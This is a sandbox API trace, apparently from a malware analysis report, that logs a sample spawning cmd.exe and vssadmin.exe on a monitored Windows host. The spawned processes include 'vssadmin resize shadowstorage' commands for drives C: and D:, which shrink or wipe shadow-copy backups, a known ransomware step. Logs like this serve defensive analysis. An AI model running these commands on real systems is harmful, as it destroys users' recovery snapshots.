	[0065.419] GetLastError () returned 0x2
	[0065.419] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0065.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x9bee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9bee70) returned 0x2e78018
	[0065.419] GetProcessHeap () returned 0x2e70000
	[0065.419] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x0, Size=0x14) returned 0x2e78058
	[0065.419] FindClose (in: hFindFile=0x2e78018 | out: hFindFile=0x2e78018) returned 1
	[0065.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x9bee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9bee70) returned 0xffffffff
	[0065.420] GetLastError () returned 0x2
	[0065.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x9bee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9bee70) returned 0x2e78018
	[0065.420] GetProcessHeap () returned 0x2e70000
	[0065.420] RtlReAllocateHeap (Heap=0x2e70000, Flags=0x0, Ptr=0x2e78058, Size=0x4) returned 0x2e78058
	[0065.420] FindClose (in: hFindFile=0x2e78018 | out: hFindFile=0x2e78018) returned 1
	[0065.420] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0065.420] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0065.420] ??_V@YAXPAX@Z () returned 0x1
	[0065.420] GetConsoleTitleW (in: lpConsoleTitle=0x9bf374, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0065.528] InitializeProcThreadAttributeList (in: lpAttributeList=0x9bf2a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9bf28c | out: lpAttributeList=0x9bf2a0, lpSize=0x9bf28c) returned 1
	[0065.528] UpdateProcThreadAttribute (in: lpAttributeList=0x9bf2a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x9bf288, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9bf2a0, lpPreviousValue=0x0) returned 1
	[0065.528] GetStartupInfoW (in: lpStartupInfo=0x9bf2d8 | out: lpStartupInfo=0x9bf2d8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0065.528] GetProcessHeap () returned 0x2e70000
	[0065.528] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0x18) returned 0x2e78018
	[0065.528] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0065.528] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0065.528] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0065.528] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0065.529] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0065.529] GetProcessHeap () returned 0x2e70000
	[0065.529] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e78018) returned 1
	[0065.530] GetProcessHeap () returned 0x2e70000
	[0065.530] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xa) returned 0x2e78018
	[0065.530] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0065.531] _get_osfhandle (_FileHandle=1) returned 0x90
	[0065.531] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0065.794] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0065.794] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0065.903] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x9bf228*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9bf274 | out: lpCommandLine="vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessInformation=0x9bf274*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x1368, dwThreadId=0x134c)) returned 1
	[0065.916] CloseHandle (hObject=0xdc) returned 1
	[0065.916] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0065.916] GetProcessHeap () returned 0x2e70000
	[0065.916] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e76c58) returned 1
	[0065.916] GetEnvironmentStringsW () returned 0x2e76c58*
	[0065.916] GetProcessHeap () returned 0x2e70000
	[0065.916] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xb1a) returned 0x2e74bd0
	[0065.917] FreeEnvironmentStringsA (penv="=") returned 1
	[0065.917] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0068.136] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x9bf20c | out: lpExitCode=0x9bf20c*=0x2) returned 1
	[0068.136] CloseHandle (hObject=0xe0) returned 1
	[0068.137] _vsnwprintf (in: _Buffer=0x9bf2f4, _BufferCount=0x13, _Format="%08X", _ArgList=0x9bf214 | out: _Buffer="00000002") returned 8
	[0068.137] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0068.137] GetProcessHeap () returned 0x2e70000
	[0068.137] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e74bd0) returned 1
	[0068.138] GetEnvironmentStringsW () returned 0x2e78198*
	[0068.138] GetProcessHeap () returned 0x2e70000
	[0068.138] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xb40) returned 0x2e74bd0
	[0068.138] FreeEnvironmentStringsA (penv="=") returned 1
	[0068.138] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0068.138] GetProcessHeap () returned 0x2e70000
	[0068.138] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e74bd0) returned 1
	[0068.138] GetEnvironmentStringsW () returned 0x2e78198*
	[0068.138] GetProcessHeap () returned 0x2e70000
	[0068.138] RtlAllocateHeap (HeapHandle=0x2e70000, Flags=0x8, Size=0xb40) returned 0x2e74bd0
	[0068.138] FreeEnvironmentStringsA (penv="=") returned 1
	[0068.138] GetProcessHeap () returned 0x2e70000
	[0068.138] RtlFreeHeap (HeapHandle=0x2e70000, Flags=0x0, BaseAddress=0x2e78018) returned 1
	[0068.138] DeleteProcThreadAttributeList (in: lpAttributeList=0x9bf2a0 | out: lpAttributeList=0x9bf2a0) 
	[0068.138] ??_V@YAXPAX@Z () returned 0x1
	[0068.138] _get_osfhandle (_FileHandle=1) returned 0x90
	[0068.138] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0068.249] _get_osfhandle (_FileHandle=1) returned 0x90
	[0068.249] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0068.339] _get_osfhandle (_FileHandle=1) returned 0x90
	[0068.339] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0068.399] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0068.399] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0068.446] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0068.446] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0068.498] SetConsoleInputExeNameW () returned 0x1
	[0068.498] GetConsoleOutputCP () returned 0x1b5
	[0068.551] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0068.551] SetThreadUILanguage (LangId=0x0) returned 0x2dc0409
	[0068.627] exit (_Code=2) 
	[0068.627] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 29
	os_tid = 0xf98


Process:
	id = "9"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xd67b000"
	os_pid = "0x10b0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xfb4"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 26
	os_tid = 0xfac


Thread:
	id = 27
	os_tid = 0xfa8


Thread:
	id = 28
	os_tid = 0xfa0


Process:
	id = "10"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1a610000"
	os_pid = "0x1368"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xfb4"
	cmd_line = "vssadmin  resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 30
	os_tid = 0x134c


Thread:
	id = 31
	os_tid = 0x1318


Thread:
	id = 32
	os_tid = 0x1328


Thread:
	id = 33
	os_tid = 0x1304


Thread:
	id = 34
	os_tid = 0x137c


Process:
	id = "11"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x65981000"
	os_pid = "0x12d4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 35
	os_tid = 0x12e0

	[0069.804] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0069.804] __set_app_type (_Type=0x1) 
	[0069.804] __p__fmode () returned 0x77803c14
	[0069.804] __p__commode () returned 0x778049ec
	[0069.804] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0069.804] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0069.804] _onexit (_Func=0xb88030) returned 0xb88030
	[0069.804] _onexit (_Func=0xb88040) returned 0xb88040
	[0069.805] _onexit (_Func=0xb88050) returned 0xb88050
	[0069.805] _onexit (_Func=0xb88060) returned 0xb88060
	[0069.805] _onexit (_Func=0xb88070) returned 0xb88070
	[0069.805] _onexit (_Func=0xb88080) returned 0xb88080
	[0069.805] GetCurrentThreadId () returned 0x12e0
	[0069.805] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x12e0) returned 0xbc
	[0069.806] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0069.806] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0069.806] SetThreadUILanguage (LangId=0x0) returned 0x4c0409
	[0069.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0069.821] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6ffbf8 | out: phkResult=0x6ffbf8*=0x0) returned 0x2
	[0069.821] VirtualQuery (in: lpAddress=0x6ffc03, lpBuffer=0x6ffbb0, dwLength=0x1c | out: lpBuffer=0x6ffbb0*(BaseAddress=0x6ff000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0069.821] VirtualQuery (in: lpAddress=0x600000, lpBuffer=0x6ffbb0, dwLength=0x1c | out: lpBuffer=0x6ffbb0*(BaseAddress=0x600000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0069.821] VirtualQuery (in: lpAddress=0x601000, lpBuffer=0x6ffbb0, dwLength=0x1c | out: lpBuffer=0x6ffbb0*(BaseAddress=0x601000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0069.821] VirtualQuery (in: lpAddress=0x603000, lpBuffer=0x6ffbb0, dwLength=0x1c | out: lpBuffer=0x6ffbb0*(BaseAddress=0x603000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0069.821] VirtualQuery (in: lpAddress=0x700000, lpBuffer=0x6ffbb0, dwLength=0x1c | out: lpBuffer=0x6ffbb0*(BaseAddress=0x700000, AllocationBase=0x700000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0069.821] GetConsoleOutputCP () returned 0x1b5
	[0069.851] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0069.851] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0069.851] _get_osfhandle (_FileHandle=1) returned 0x90
	[0069.851] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0069.875] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0069.875] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0069.879] _get_osfhandle (_FileHandle=1) returned 0x90
	[0069.879] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0069.886] _get_osfhandle (_FileHandle=1) returned 0x90
	[0069.886] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0069.896] _get_osfhandle (_FileHandle=1) returned 0x90
	[0069.896] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0069.905] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0069.909] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0069.916] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0069.916] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0069.918] GetEnvironmentStringsW () returned 0x114bc0*
	[0069.918] GetProcessHeap () returned 0x110000
	[0069.922] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xaca) returned 0x115698
	[0069.932] FreeEnvironmentStringsA (penv="A") returned 1
	[0069.938] GetProcessHeap () returned 0x110000
	[0069.943] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0x4) returned 0x1146a0
	[0069.943] GetEnvironmentStringsW () returned 0x114bc0*
	[0069.956] GetProcessHeap () returned 0x110000
	[0069.956] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xaca) returned 0x116170
	[0069.956] FreeEnvironmentStringsA (penv="A") returned 1
	[0069.956] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6feb54 | out: phkResult=0x6feb54*=0xcc) returned 0x0
	[0069.956] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x70, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.956] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x1, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.956] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x1, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x0, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x40, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x40, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x40, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.957] RegCloseKey (hKey=0xcc) returned 0x0
	[0069.957] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6feb54 | out: phkResult=0x6feb54*=0xcc) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x40, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x1, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x1, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x0, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x9, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x4, lpData=0x6feb60*=0x9, lpcbData=0x6feb58*=0x4) returned 0x0
	[0069.957] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6feb5c, lpData=0x6feb60, lpcbData=0x6feb58*=0x1000 | out: lpType=0x6feb5c*=0x0, lpData=0x6feb60*=0x9, lpcbData=0x6feb58*=0x1000) returned 0x2
	[0069.957] RegCloseKey (hKey=0xcc) returned 0x0
	[0069.957] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e729
	[0069.957] srand (_Seed=0x5e40e729) 
	[0069.957] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB"
	[0069.957] malloc (_Size=0x4000) returned 0x2d21f0
	[0069.958] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB"
	[0069.958] malloc (_Size=0xffce) returned 0x870048
	[0069.958] ??_V@YAXPAX@Z () returned 0x6ffb38
	[0069.959] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x870048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.959] malloc (_Size=0xffce) returned 0x880020
	[0069.959] ??_V@YAXPAX@Z () returned 0x6ff90c
	[0069.959] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x880020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0069.959] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0069.959] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0069.959] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0069.959] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0069.960] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0069.960] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0069.960] GetProcessHeap () returned 0x110000
	[0069.960] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x115698) returned 1
	[0069.960] GetEnvironmentStringsW () returned 0x114bc0*
